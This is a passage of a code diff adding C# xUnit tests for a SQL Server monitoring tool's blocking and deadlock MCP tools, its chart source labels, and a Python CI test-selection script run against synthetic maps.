+        Assert.Equal(3, root.GetProperty("reports").GetArrayLength());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("database_name").ValueKind);
+    }
+
+    /// <summary>The filter is in the SQL before the limit + 1 fetch, so limit counts the CHOSEN database's reports: a
+    /// newer report in another database neither takes a slot nor makes the page look truncated.</summary>
+    [Fact]
+    public async Task BlockedProcessXml_Limit_CountsTheChosenDatabasesReports()
+    {
+        await SeedReportAsync(Minute(40), "DbA", 11);
+        await SeedReportAsync(Minute(30), "DbA", 12);
+        await SeedReportAsync(Minute(5), "DbB", 22);
+        await SeedReportAsync(Minute(4), "DbB", 23);
+
+        var whole = Parse(await McpBlockingTools.GetBlockedProcessXml(
+            _service, _serverManager, ServerName, limit: 2, database_name: "DbA"));
+        Assert.Equal(2, whole.GetProperty("reports_returned").GetInt32());
+        Assert.False(whole.GetProperty("truncated").GetBoolean());
+
+        var cut = Parse(await McpBlockingTools.GetBlockedProcessXml(
+            _service, _serverManager, ServerName, limit: 1, database_name: "DbA"));
+        Assert.Equal(1, cut.GetProperty("reports_returned").GetInt32());
+        Assert.True(cut.GetProperty("truncated").GetBoolean());
+        Assert.Equal(12, cut.GetProperty("reports")[0].GetProperty("blocked_spid").GetInt32());
+    }
+
+    [Fact]
+    public async Task BlockedProcessXml_FilteredEmpty_SaysForTheDatabase_AndStaysEmpty()
+    {
+        await SeedThreeDatabaseReportsAsync();
+
+        var root = Parse(await McpBlockingTools.GetBlockedProcessXml(
+            _service, _serverManager, ServerName, database_name: "NoSuchDb"));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.Contains(
+            "No blocked process report XML available in the specified time range for the database NoSuchDb.",
+            root.GetProperty("message").GetString()!, StringComparison.Ordinal);
+    }
+
+    /* ───────────────────────── get_blocking_trend ───────────────────────── */
+
+    [Fact]
+    public async Task BlockingTrend_OneName_CountsOnlyThatDatabase()
+    {
+        await SeedReportAsync(Minute(30), "DbA", 11);
+        await SeedReportAsync(Minute(30), "DbB", 21);
+        await SeedReportAsync(Minute(30), "DbB", 22);
+        await SeedReportAsync(Minute(20), "DbC", 33);
+
+        var all = Parse(await McpBlockingTools.GetBlockingTrend(_service, _serverManager, ServerName));
+        Assert.Equal(new[] { 3, 1 }, all.GetProperty("trend").EnumerateArray().Select(p => p.GetProperty("count").GetInt32()).ToArray());
+
+        var one = Parse(await McpBlockingTools.GetBlockingTrend(_service, _serverManager, ServerName, database_name: "DbB"));
+        var point = Assert.Single(one.GetProperty("trend").EnumerateArray());
+        Assert.Equal(2, point.GetProperty("count").GetInt32());
+    }
+
+    [Theory]
+    [InlineData("")]
+    [InlineData("  ")]
+    public async Task BlockingTrend_BlankName_ReturnsEveryDatabase(string blank)
+    {
+        await SeedThreeDatabaseReportsAsync();
+
+        var root = Parse(await McpBlockingTools.GetBlockingTrend(
+            _service, _serverManager, ServerName, database_name: blank));
+
+        Assert.Equal(3, root.GetProperty("trend").GetArrayLength());
+        /* N2: a blank is "no filter", and the answer echoes it as null rather than the blank that was sent. */
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("database_name").ValueKind);
+    }
+
+    /// <summary>The DMV-snapshot arm still fills in only where the FILTERED report arm has no rows, so a database that has
+    /// snapshots but no report in the window is answered from them, and one that has reports is not doubled.</summary>
+    [Fact]
+    public async Task BlockingTrend_DmvArm_IsUsedOnlyWhenTheFilteredReportArmIsEmpty()
+    {
+        await SeedReportAsync(Minute(30), "DbA", 11);
+        await SeedSnapshotAsync(Minute(30), "DbA", 71);
+        await SeedSnapshotAsync(Minute(20), "DbB", 72);
+        await SeedSnapshotAsync(Minute(19), "DbB", 73);
+
+        var a = Parse(await McpBlockingTools.GetBlockingTrend(_service, _serverManager, ServerName, database_name: "DbA"));
+        Assert.Equal(1, Assert.Single(a.GetProperty("trend").EnumerateArray()).GetProperty("count").GetInt32());
+        /* The answer names its source (#5244 M1): A has a report, so the reports answered. */
+        Assert.Equal("blocked-process-report", a.GetProperty("source").GetString());
+        Assert.Equal("DbA", a.GetProperty("database_name").GetString());
+
+        var b = Parse(await McpBlockingTools.GetBlockingTrend(_service, _serverManager, ServerName, database_name: "DbB"));
+        Assert.Equal(2, b.GetProperty("trend").GetArrayLength());
+        /* B has snapshots and no report, so the DMV snapshot answered. */
+        Assert.Equal("DMV snapshot", b.GetProperty("source").GetString());
+
+        /* Adding B to A: the reports answer (A's row), so the source is the reports and B's snapshots are not mixed in. */
+        var unfiltered = Parse(await McpBlockingTools.GetBlockingTrend(_service, _serverManager, ServerName));
+        Assert.Equal("blocked-process-report", unfiltered.GetProperty("source").GetString());
+        Assert.Equal(JsonValueKind.Null, unfiltered.GetProperty("database_name").ValueKind);
+    }
+
+    /// <summary>The severity read names its source too (#5244 M1): the DMV snapshot answers only where the reports have no rows.</summary>
+    [Fact]
+    public async Task BlockingStats_Source_IsTheDmvSnapshotOnlyWhenTheFilteredReportArmIsEmpty()
+    {
+        await SeedReportAsync(Minute(30), "DbA", 11, waitMs: 1000);
+        await SeedSnapshotAsync(Minute(20), "DbB", 72);
+
+        var a = Parse(await McpHealthTools.GetBlockingStats(_service, _serverManager, ServerName, database_name: "DbA"));
+        Assert.Equal("blocked-process-report", a.GetProperty("source").GetString());
+        var b = Parse(await McpHealthTools.GetBlockingStats(_service, _serverManager, ServerName, database_name: "DbB"));
+        Assert.Equal("DMV snapshot", b.GetProperty("source").GetString());
+    }
+
+    [Fact]
+    public async Task BlockingTrend_FilteredEmpty_SaysForTheDatabase_AndKeepsTheEmptyStatus()
+    {
+        await SeedRunAsync("blocked_process_report", Minute(10));
+        await SeedReportAsync(Minute(30), "DbA", 11);
+
+        var root = Parse(await McpBlockingTools.GetBlockingTrend(
+            _service, _serverManager, ServerName, database_name: "NoSuchDb"));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        var text = root.GetProperty("message").GetString()!;
+        Assert.Contains("No blocking was recorded for " + ServerName + " for the database NoSuchDb in the last 24 hour(s).", text, StringComparison.Ordinal);
+        /* The run counts behind the answer are the server's own: a collector looks at every database. */
+        Assert.Equal(1, root.GetProperty("hints").GetProperty("capture_count").GetInt64());
+    }
+
+    [Fact]
+    public async Task BlockingTrend_UnfilteredEmpty_KeepsItsWords()
+    {
+        await SeedRunAsync("blocked_process_report", Minute(10));
+
+        var root = Parse(await McpBlockingTools.GetBlockingTrend(_service, _serverManager, ServerName));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.Contains("No blocking was recorded for " + ServerName + " in the last 24 hour(s).",
+            root.GetProperty("message").GetString()!, StringComparison.Ordinal);
+    }
+
+    /* ───────────────────────── get_blocking_stats ───────────────────────── */
+
+    [Fact]
+    public async Task BlockingStats_OneName_LimitsTheBlockingSeries_AndLeavesDeadlocksWhole()
+    {
+        await SeedReportAsync(Minute(30), "DbA", 11, waitMs: 1000);
+        await SeedReportAsync(Minute(30), "DbB", 21, waitMs: 2000);
+        await SeedReportAsync(Minute(30), "DbB", 22, waitMs: 6000);
+        await SeedReportAsync(Minute(20), "DbC", 33, waitMs: 9000);
+        await SeedDeadlockAsync(Minute(25));
+
+        var all = Parse(await McpHealthTools.GetBlockingStats(_service, _serverManager, ServerName));
+        Assert.Equal(JsonValueKind.Null, all.GetProperty("database_name").ValueKind);
+        Assert.Equal(2, all.GetProperty("blocking_duration").GetArrayLength());
+
+        var one = Parse(await McpHealthTools.GetBlockingStats(_service, _serverManager, ServerName, database_name: "DbB"));
+        Assert.Equal("DbB", one.GetProperty("database_name").GetString());
+        Assert.Equal("blocked-process-report", one.GetProperty("source").GetString());
+        var bucket = Assert.Single(one.GetProperty("blocking_duration").EnumerateArray());
+        Assert.Equal(2, bucket.GetProperty("event_count").GetInt32());
+        Assert.Equal(8000, bucket.GetProperty("total_duration_ms").GetInt64());
+        Assert.Equal(6000, bucket.GetProperty("max_duration_ms").GetInt64());
+        /* Deadlock graphs carry no database column here, so the deadlock series is the server's. */
+        Assert.Equal(1, one.GetProperty("deadlock_severity").GetArrayLength());
+    }
+
+    [Theory]
+    [InlineData("")]
+    [InlineData("  ")]
+    public async Task BlockingStats_BlankName_ReturnsEveryDatabase(string blank)
+    {
+        await SeedThreeDatabaseReportsAsync();
+
+        var root = Parse(await McpHealthTools.GetBlockingStats(
+            _service, _serverManager, ServerName, database_name: blank));
+
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("database_name").ValueKind);
+        Assert.Equal(3, root.GetProperty("blocking_duration").GetArrayLength());
+    }
+
+    [Fact]
+    public async Task BlockingStats_FilteredEmpty_SaysBlockingForTheDatabase_AndKeepsTheEmptyStatus()
+    {
+        await SeedRunAsync("blocked_process_report", Minute(10));
+        await SeedReportAsync(Minute(30), "DbA", 11);
+
+        var root = Parse(await McpHealthTools.GetBlockingStats(
+            _service, _serverManager, ServerName, database_name: "NoSuchDb"));
+
+        Assert.Equal("empty", root.GetProperty("status").GetString());
+        Assert.Contains(
+            "No blocking for the database NoSuchDb (and no deadlocks, which are not limited by database) recorded for " + ServerName,
+            root.GetProperty("message").GetString()!, StringComparison.Ordinal);
+    }
+
+    /* ───────────────────────── seeding ───────────────────────── */
+
+    private async Task<DuckDBConnection> SeedConnectionAsync()
+    {
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+        return _seedConn;
+    }
+
+    private static DateTime Naive(DateTime utc) => DateTime.SpecifyKind(utc, DateTimeKind.Unspecified);
+
+    private async Task ExecAsync(string sql, params object?[] values)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        var connection = await SeedConnectionAsync();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        foreach (var v in values)
+            cmd.Parameters.Add(new DuckDBParameter { Value = v ?? DBNull.Value });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private Task SeedReportAsync(DateTime at, string database, int blockedSpid, long waitMs = 8000L) => ExecAsync(@"
+INSERT INTO blocked_process_reports
+    (blocked_report_id, collection_time, server_id, server_name, event_time, database_name,
+     blocked_spid, blocking_spid, wait_time_ms, lock_mode, blocked_sql_text, blocking_sql_text,
+     blocked_process_report_xml, contentious_object)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14)",
+        _nextId++, Naive(at), _serverId, ServerName, Naive(at), database, blockedSpid, 90, waitMs, "X", "SELECT 1",
+        "UPDATE T SET x = 1", "<blocked-process-report/>", "dbo.T");
+
+    private Task SeedSnapshotAsync(DateTime at, string database, int blockedSpid) => ExecAsync(@"
+INSERT INTO dmv_blocking_snapshots
+    (collection_id, collection_time, server_id, server_name, monitor_loop, event_time, database_name,
+     blocked_spid, blocking_spid, wait_time_ms, lock_mode, blocking_status, contentious_object, blocked_sql_text, blocking_sql_text)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15)",
+        _nextId++, Naive(at), _serverId, ServerName, -1, Naive(at), database, blockedSpid, 80, 3000L, "S", "suspended",
+        "dbo.U", "SELECT 2", "WAITFOR DELAY '00:01'");
+
+    private Task SeedDeadlockAsync(DateTime at) => ExecAsync(@"
+INSERT INTO deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, victim_process_id, victim_sql_text, deadlock_graph_xml)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8)",
+        _nextId++, Naive(at), _serverId, ServerName, Naive(at), "process1", "DELETE FROM Posts",
+        "<deadlock><victim-list><victimProcess id=\"process1\"/></victim-list><process-list><process id=\"process1\"><inputbuf>DELETE FROM Posts</inputbuf></process></process-list></deadlock>");
+
+    /// <summary>A collector run that SUCCEEDED and stored nothing, the row that makes an empty answer an all-clear.</summary>
+    private Task SeedRunAsync(string collector, DateTime collectionTimeUtc) => ExecAsync(@"
+INSERT INTO collection_log
+    (log_id, server_id, server_name, collector_name, collection_time,
+     duration_ms, status, error_message, rows_collected, sql_duration_ms, duckdb_duration_ms)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11)",
+        _nextId++, _serverId, ServerName, collector, Naive(collectionTimeUtc), 100, "SUCCESS", null, 0, 80, 20);
+}
diff --git a/Lite.Tests/BlockingDeadlockContextBuilderTests.cs b/Lite.Tests/BlockingDeadlockContextBuilderTests.cs
index 04ccc4bb5e..c33cf5c754 100644
--- a/Lite.Tests/BlockingDeadlockContextBuilderTests.cs
+++ b/Lite.Tests/BlockingDeadlockContextBuilderTests.cs
@@ -31,6 +31,7 @@ namespace PerformanceMonitorLite.Tests;
 /// XE→DMV fallback merge (<see cref="BlockedProcessReportMerge"/>) both store adapters share, and
 /// that Lite's row types ARE the shared alert row shapes (inheritance, no mapping copy).
 /// </summary>
+[Trait("Reads", "Darling")]
 public class BlockingDeadlockContextBuilderTests
 {
     private const string Server = "SQL2022";
diff --git a/Lite.Tests/BlockingSourceLabelTests.cs b/Lite.Tests/BlockingSourceLabelTests.cs
new file mode 100644
index 0000000000..d0f8c4b093
--- /dev/null
+++ b/Lite.Tests/BlockingSourceLabelTests.cs
@@ -0,0 +1,118 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Ui;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5244: Lite's blocking charts name the collector that answered. The blocking trend and severity reads draw from the blocked-process-
+/// report XE session when it holds a row for the chosen database, and from the DMV snapshot only when it holds none, so a chart that
+/// does not say which arm it drew can look like the same data under two filters. <see cref="BlockingSourceLabel"/> builds the axis label
+/// (shared with the Darling viewer); <c>ServerTab.UpdateBlockingTrendChart</c> and the two Blocking Stats charts put it on the axis
+/// only when they draw rows, and the empty chart keeps its plain label.
+/// </summary>
+public sealed class BlockingSourceLabelTests
+{
+    private static readonly DateTime T0 = new(2026, 1, 1, 0, 0, 0, DateTimeKind.Utc);
+
+    private static List<TrendPoint> Trend(string? source) =>
+        new() { new TrendPoint { Time = T0, Count = 2, Source = source }, new TrendPoint { Time = T0.AddMinutes(1), Count = 1, Source = source } };
+
+    private static List<BlockingDurationStatsPoint> Stats(string? source) =>
+        new() { new BlockingDurationStatsPoint(T0, 2, 500, 300, 250, source) };
+
+    [Fact]
+    public void TheTags_AreTheOnesTheAlertRowsAndTheMcpAnswersCarry()
+    {
+        Assert.Equal(BlockedProcessAlertRow.XeReportSource, BlockingSourceLabel.BlockedProcessReport);
+        Assert.Equal(BlockedProcessAlertRow.DmvSnapshotSource, BlockingSourceLabel.DmvSnapshot);
+    }
+
+    [Fact]
+    public void TrendChart_XeOnly_NamesTheReports()
+    {
+        var label = BlockingSourceLabel.For("Blocking Incidents", Trend("blocked-process-report").Select(d => d.Source));
+        Assert.Equal("Blocking Incidents (blocked-process-report)", label);
+    }
+
+    [Fact]
+    public void TrendChart_DmvOnly_NamesTheDmvSnapshot()
+    {
+        var label = BlockingSourceLabel.For("Blocking Incidents", Trend("DMV snapshot").Select(d => d.Source));
+        Assert.Equal("Blocking Incidents (DMV snapshot)", label);
+    }
+
+    [Fact]
+    public void TrendChart_Empty_KeepsThePlainLabel()
+    {
+        Assert.Equal("Blocking Incidents", BlockingSourceLabel.For("Blocking Incidents", new List<TrendPoint>().Select(d => d.Source)));
+    }
+
+    [Fact]
+    public void StatsCharts_NameTheArm_AndTheEmptyChartDoesNot()
+    {
+        Assert.Equal("Block Duration (ms) (blocked-process-report)", BlockingSourceLabel.For("Block Duration (ms)", Stats("blocked-process-report").Select(d => d.Source)));
+        Assert.Equal("Total Block Duration (ms) (DMV snapshot)", BlockingSourceLabel.For("Total Block Duration (ms)", Stats("DMV snapshot").Select(d => d.Source)));
+        Assert.Equal("Total Block Duration (ms)", BlockingSourceLabel.For("Total Block Duration (ms)", Stats(null).Take(0).Select(d => d.Source)));
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("something else")]
+    [InlineData("<b>x</b>")]
+    public void RowsWithNoRecognizedTag_KeepThePlainLabel(string? source)
+    {
+        Assert.Equal("Blocking Incidents", BlockingSourceLabel.For("Blocking Incidents", Trend(source).Select(d => d.Source)));
+    }
+
+    [Fact]
+    public void BlockingTrendChart_PutsTheLabelOnTheAxisOnlyWhenItDrawsRows()
+    {
+        var src = Read("ServerTab.Charts.cs");
+        var chart = Between(src, "private void UpdateBlockingTrendChart(", "private void UpdateDeadlockTrendChart(");
+
+        Assert.Single(Occurrences(chart, "BlockingSourceLabel.For(\"Blocking Incidents\", data.Select(d => d.Source))"));
+        /* The zero-row branch returns early with the plain label: nothing answered, so nothing is named. */
+        var empty = chart[..chart.IndexOf("return;", StringComparison.Ordinal)];
+        Assert.Contains("YLabel(\"Blocking Incidents\")", empty, StringComparison.Ordinal);
+        Assert.DoesNotContain("BlockingSourceLabel", empty, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void BlockingStatsCharts_PutTheLabelOnTheAxisOnlyWhenTheyDrawRows()
+    {
+        var src = Read("ServerTab.BlockingStats.cs");
+        var duration = Between(src, "private void UpdateBlockingDurationChart(", "private void UpdateBlockingTotalDurationChart(");
+        var total = Between(src, "private void UpdateBlockingTotalDurationChart(", "private void UpdateDeadlockWaitChart(");
+
+        Assert.Single(Occurrences(duration, "BlockingSourceLabel.For(\"Block Duration (ms)\", data.Select(d => d.Source))"));
+        Assert.Single(Occurrences(total, "BlockingSourceLabel.For(\"Total Block Duration (ms)\", data.Select(d => d.Source))"));
+        Assert.DoesNotContain("BlockingSourceLabel", duration[..duration.IndexOf("return;", StringComparison.Ordinal)], StringComparison.Ordinal);
+        Assert.DoesNotContain("BlockingSourceLabel", total[..total.IndexOf("return;", StringComparison.Ordinal)], StringComparison.Ordinal);
+    }
+
+    private static IEnumerable<int> Occurrences(string text, string needle)
+    {
+        for (var i = text.IndexOf(needle, StringComparison.Ordinal); i >= 0; i = text.IndexOf(needle, i + needle.Length, StringComparison.Ordinal))
+            yield return i;
+    }
+
+    private static string Between(string text, string from, string to)
+    {
+        var start = text.IndexOf(from, StringComparison.Ordinal);
+        Assert.True(start >= 0, from);
+        var end = text.IndexOf(to, start, StringComparison.Ordinal);
+        Assert.True(end > start, to);
+        return text[start..end];
+    }
+
+    private static string Read(string name, [CallerFilePath] string thisFile = "") =>
+        File.ReadAllText(Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "Lite", "Controls", name))).ReplaceLineEndings("\n");
+}
diff --git a/Lite.Tests/BlockingTrendEmptyToolTests.cs b/Lite.Tests/BlockingTrendEmptyToolTests.cs
index bc950ab67f..d46cd1169e 100644
--- a/Lite.Tests/BlockingTrendEmptyToolTests.cs
+++ b/Lite.Tests/BlockingTrendEmptyToolTests.cs
@@ -81,6 +81,8 @@ public async Task NeverCollected_IsNotReportedAsAnAllClear()
             await McpBlockingTools.GetBlockingTrend(service, _serverManager, ServerName, 4)).RootElement;
 
         Assert.Equal("unavailable", root.GetProperty("status").GetString());
+        /* #5244: the empty answer names no collector, and says so with the same key a data answer uses (get_blocking_stats gives null too). */
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("source").ValueKind);
         var text = root.GetProperty("message").GetString()!;
         Assert.Contains("NOT an all-clear", text, StringComparison.Ordinal);
         Assert.Contains("EVER", text, StringComparison.Ordinal);
@@ -116,6 +118,8 @@ public async Task CapturesRanAndSawNothing_IsAGenuineAllClear_AndSaysSoDifferent
             await McpBlockingTools.GetBlockingTrend(service, _serverManager, ServerName, 4)).RootElement;
 
         Assert.Equal("empty", root.GetProperty("status").GetString());
+        /* #5244: the empty answer names no collector, and says so with the same key a data answer uses (get_blocking_stats gives null too). */
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("source").ValueKind);
         var text = root.GetProperty("message").GetString()!;
         Assert.Contains("genuine all-clear", text, StringComparison.Ordinal);
 
@@ -177,6 +181,8 @@ public async Task DeadlockTrend_WithItsOwnCapture_IsAGenuineAllClear()
             await McpBlockingTools.GetDeadlockTrend(service, _serverManager, ServerName, 4)).RootElement;
 
         Assert.Equal("empty", root.GetProperty("status").GetString());
+        /* The deadlock trend has no collector choice, so it carries no source key. */
+        Assert.False(root.TryGetProperty("source", out _));
         var text = root.GetProperty("message").GetString()!;
         Assert.Contains("genuine all-clear", text, StringComparison.Ordinal);
         Assert.DoesNotContain("EVER", text, StringComparison.Ordinal);
diff --git a/Lite.Tests/CapabilityPins/servertab-eventwires.baseline.txt b/Lite.Tests/CapabilityPins/servertab-eventwires.baseline.txt
index d43b9b422b..8df0dac8ce 100644
--- a/Lite.Tests/CapabilityPins/servertab-eventwires.baseline.txt
+++ b/Lite.Tests/CapabilityPins/servertab-eventwires.baseline.txt
@@ -6,7 +6,6 @@ MouseDoubleClick=>QueryStatsGrid_MouseDoubleClick
 MouseDoubleClick=>QueryStoreGrid_MouseDoubleClick
 SelectionChanged=>AutoRefreshInterval_Changed
 SelectionChanged=>CompareToCombo_SelectionChanged
-SelectionChanged=>CustomTimeCombo_Changed
 SelectionChanged=>HeatmapMetric_SelectionChanged
 SelectionChanged=>MainTabControl_SelectionChanged
 SelectionChanged=>PerfmonPack_SelectionChanged
@@ -14,5 +13,4 @@ SelectionChanged=>ProcedureStatsGrid_SelectionChanged
 SelectionChanged=>QueryStatsGrid_SelectionChanged
 SelectionChanged=>QueryStoreGrid_SelectionChanged
 SelectionChanged=>TimeDisplayMode_SelectionChanged
-SelectionChanged=>TimeRangeCombo_SelectionChanged
 SelectionChanged=>WaitStatsMetric_SelectionChanged
diff --git a/Lite.Tests/CiSelectMapSelectGuardTests.cs b/Lite.Tests/CiSelectMapSelectGuardTests.cs
new file mode 100644
index 0000000000..ff68c3fd80
--- /dev/null
+++ b/Lite.Tests/CiSelectMapSelectGuardTests.cs
@@ -0,0 +1,491 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// Pins the class-to-file map selection in .github/scripts/ci-select.py (#5459, change 4, slice 1).
+///
+/// <para><b>Why.</b> <c>map-select</c> will decide which test classes a pull request runs, so its failure mode must
+/// be "run everything", never "run nothing". These cases use a tiny synthetic map and a tiny synthetic test tree
+/// (so they do not depend on today's repository) and pin the rule for each input: the class's own file, a file it
+/// covers, a file changed since the map was built, a text pattern, a class the map has never seen, and every
+/// reason the answer must be FULL (a missing, wrong-schema, old or over-drifted map, a build file, a file the map
+/// knows nothing about, and any event but a pull request). Nothing in build.yml calls <c>map-select</c> yet.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Darling")]
+public sealed class CiSelectMapSelectGuardTests : IDisposable
+{
+    private readonly string _dir = Path.Combine(Path.GetTempPath(), "ci-map-select-" + Guid.NewGuid().ToString("N"));
+
+    public CiSelectMapSelectGuardTests()
+    {
+        // The synthetic test tree: one class per file, one of them a Guard class, one the map never saw.
+        var tests = Path.Combine(_dir, "tree", "Lite.Tests");
+        Directory.CreateDirectory(tests);
+        File.WriteAllText(Path.Combine(tests, "Own.cs"), "public class OwnTests { }\n");
+        File.WriteAllText(Path.Combine(tests, "Cov.cs"), "public class CoverTests { }\n");
+        File.WriteAllText(Path.Combine(tests, "Text.cs"), "public class TextTests { }\n");
+        File.WriteAllText(Path.Combine(tests, "Fresh.cs"), "public class FreshTests { }\n");
+        File.WriteAllText(Path.Combine(tests, "G.cs"), "[Trait(\"Stage\", \"Guard\")]\npublic class GateTests { }\n");
+    }
+
+    public void Dispose()
+    {
+        try
+        {
+            Directory.Delete(_dir, recursive: true);
+        }
+        catch (IOException)
+        {
+        }
+    }
+
+    private static string Script() => Path.Combine(ParitySource.RepoRoot(), ".github", "scripts", "ci-select.py");
+
+    private string WriteMap(int schema = 1, string? builtAt = null, string textPatterns = "\"install/**/*.sql\"")
+    {
+        var path = Path.Combine(_dir, "map-" + Guid.NewGuid().ToString("N") + ".json");
+        builtAt ??= DateTime.UtcNow.ToString("o");
+        // ids: 0 Lite/Services/A.cs, 1 Lite/Services/B.cs, 2 Own.cs, 3 assets/data.json, 4 Cov.cs, 5 Text.cs
+        File.WriteAllText(path, """
+            {"schema": @SCHEMA@, "sha": "0000000", "built_at": "@BUILT@", "tool": "synthetic",
+             "files": ["Lite/Services/A.cs", "Lite/Services/B.cs", "Lite.Tests/Own.cs", "assets/data.json",
+                       "Lite.Tests/Cov.cs", "Lite.Tests/Text.cs"],
+             "classes": {"lite": {
+                "OwnTests":   {"own": 2, "files": [0], "seconds": 1.5},
+                "CoverTests": {"own": 4, "files": [1, 3], "seconds": 2.5},
+                "TextTests":  {"own": 5, "files": [], "seconds": 4.0}}},
+             "text_patterns": {"TextTests": [@PATTERNS@]}}
+            """.Replace("@SCHEMA@", schema.ToString(System.Globalization.CultureInfo.InvariantCulture), StringComparison.Ordinal)
+                .Replace("@BUILT@", builtAt, StringComparison.Ordinal)
+                .Replace("@PATTERNS@", textPatterns, StringComparison.Ordinal));
+        return path;
+    }
+
+    private (int ExitCode, JsonElement Result) MapSelect(string map, string[] files, string[]? drift = null,
+        string eventName = "pull_request", string? root = null, string? baseRef = null)
+    {
+        var psi = new ProcessStartInfo("python")
+        {
+            WorkingDirectory = ParitySource.RepoRoot(),
+            RedirectStandardOutput = true,
+            RedirectStandardError = true,
+            UseShellExecute = false,
+        };
+        psi.ArgumentList.Add("-I");
+        psi.ArgumentList.Add(Script());
+        psi.ArgumentList.Add("map-select");
+        psi.ArgumentList.Add("--map");
+        psi.ArgumentList.Add(map);
+        psi.ArgumentList.Add("--root");
+        psi.ArgumentList.Add(root ?? Path.Combine(_dir, "tree"));
+        psi.ArgumentList.Add("--event");
+        psi.ArgumentList.Add(eventName);
+        if (baseRef is not null)
+        {
+            psi.ArgumentList.Add("--base-ref");
+            psi.ArgumentList.Add(baseRef);
+        }
+
+        psi.ArgumentList.Add("--drift-file");
+        if (drift is null || drift.Length == 0)
+        {
+            psi.ArgumentList.Add("-");
+        }
+        else
+        {
+            var driftPath = Path.Combine(_dir, "drift-" + Guid.NewGuid().ToString("N") + ".txt");
+            File.WriteAllLines(driftPath, drift);
+            psi.ArgumentList.Add(driftPath);
+        }
+
+        foreach (var f in files)
+        {
+            psi.ArgumentList.Add(f);
+        }
+
+        using var p = Process.Start(psi) ?? throw new InvalidOperationException("python did not start");
+        var stdout = p.StandardOutput.ReadToEndAsync();
+        var stderr = p.StandardError.ReadToEndAsync();
+        Assert.True(p.WaitForExit(120_000), "ci-select.py did not finish in two minutes");
+        var text = stdout.Result;
+        var start = text.IndexOf('{', StringComparison.Ordinal);
+        Assert.True(start >= 0, "map-select printed no JSON:\n" + text + stderr.Result);
+        return (p.ExitCode, JsonDocument.Parse(text[start..]).RootElement.Clone());
+    }
+
+    private static Dictionary<string, string> Why(JsonElement result)
+    {
+        var map = new Dictionary<string, string>(StringComparer.Ordinal);
+        if (result.GetProperty("why").TryGetProperty("lite", out var lite))
+        {
+            foreach (var c in lite.EnumerateObject())
+            {
+                map[c.Name] = c.Value.GetString() ?? "";
+            }
+        }
+
+        return map;
+    }
+
+    private static void AssertFull(JsonElement result, string reasonPart)
+    {
+        Assert.True(result.GetProperty("full").GetBoolean(), "expected FULL:\n" + result);
+        Assert.Contains(reasonPart, result.GetProperty("reason").GetString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ClassOwnFile_Changed_SelectsThatClassOnly()
+    {
+        var (code, r) = MapSelect(WriteMap(), new[] { "Lite.Tests/Own.cs" });
+
+        Assert.Equal(0, code);
+        Assert.False(r.GetProperty("full").GetBoolean());
+        var why = Why(r);
+        Assert.Equal("own file changed", why["OwnTests"]);
+        Assert.DoesNotContain("CoverTests", why.Keys);
+        Assert.DoesNotContain("TextTests", why.Keys);
+    }
+
+    [Fact]
+    public void CoveredFile_Changed_SelectsTheClassesThatRunIt()
+    {
+        var (_, r) = MapSelect(WriteMap(), new[] { "Lite/Services/B.cs" });
+
+        var why = Why(r);
+        Assert.Equal("covers a changed file", why["CoverTests"]);
+        Assert.DoesNotContain("OwnTests", why.Keys);
+        Assert.Equal(2.5, r.GetProperty("seconds").GetProperty("lite").GetDouble());
+    }
+
+    [Fact]
+    public void DataFile_InTheMapsUniverse_SelectsItsCoveringClass_AndNeverFull()
+    {
+        var (_, r) = MapSelect(WriteMap(), new[] { "assets/data.json" });
+
+        Assert.False(r.GetProperty("full").GetBoolean());
+        Assert.Equal("covers a changed file", Why(r)["CoverTests"]);
+    }
+
+    [Fact]
+    public void FileChangedSinceTheMap_CountsAsChanged()
+    {
+        // The pull request itself touches no code; A.cs changed between the map and the merge base.
+        var (_, r) = MapSelect(WriteMap(), new[] { "README.md" }, new[] { "Lite/Services/A.cs" });
+
+        Assert.Equal("covers a changed file", Why(r)["OwnTests"]);
+    }
+
+    [Fact]
+    public void NewProductCsFile_NotInTheMap_RunsEverything()
+    {
+        // Reflection, DI and attribute scanning find types no covered file mentions.
+        var (_, r) = MapSelect(WriteMap(), new[] { "Lite/Services/Brand.cs" }, new[] { "Lite/Services/A.cs" });
+
+        AssertFull(r, "new file not in the map: Lite/Services/Brand.cs");
+    }
+
+    [Fact]
+    public void NewTestProjectFile_WithADiscoveredClass_SelectsThatClass_AndIsNotFull()
+    {
+        var (_, r) = MapSelect(WriteMap(), new[] { "Lite.Tests/Fresh.cs" });
+
+        Assert.False(r.GetProperty("full").GetBoolean());
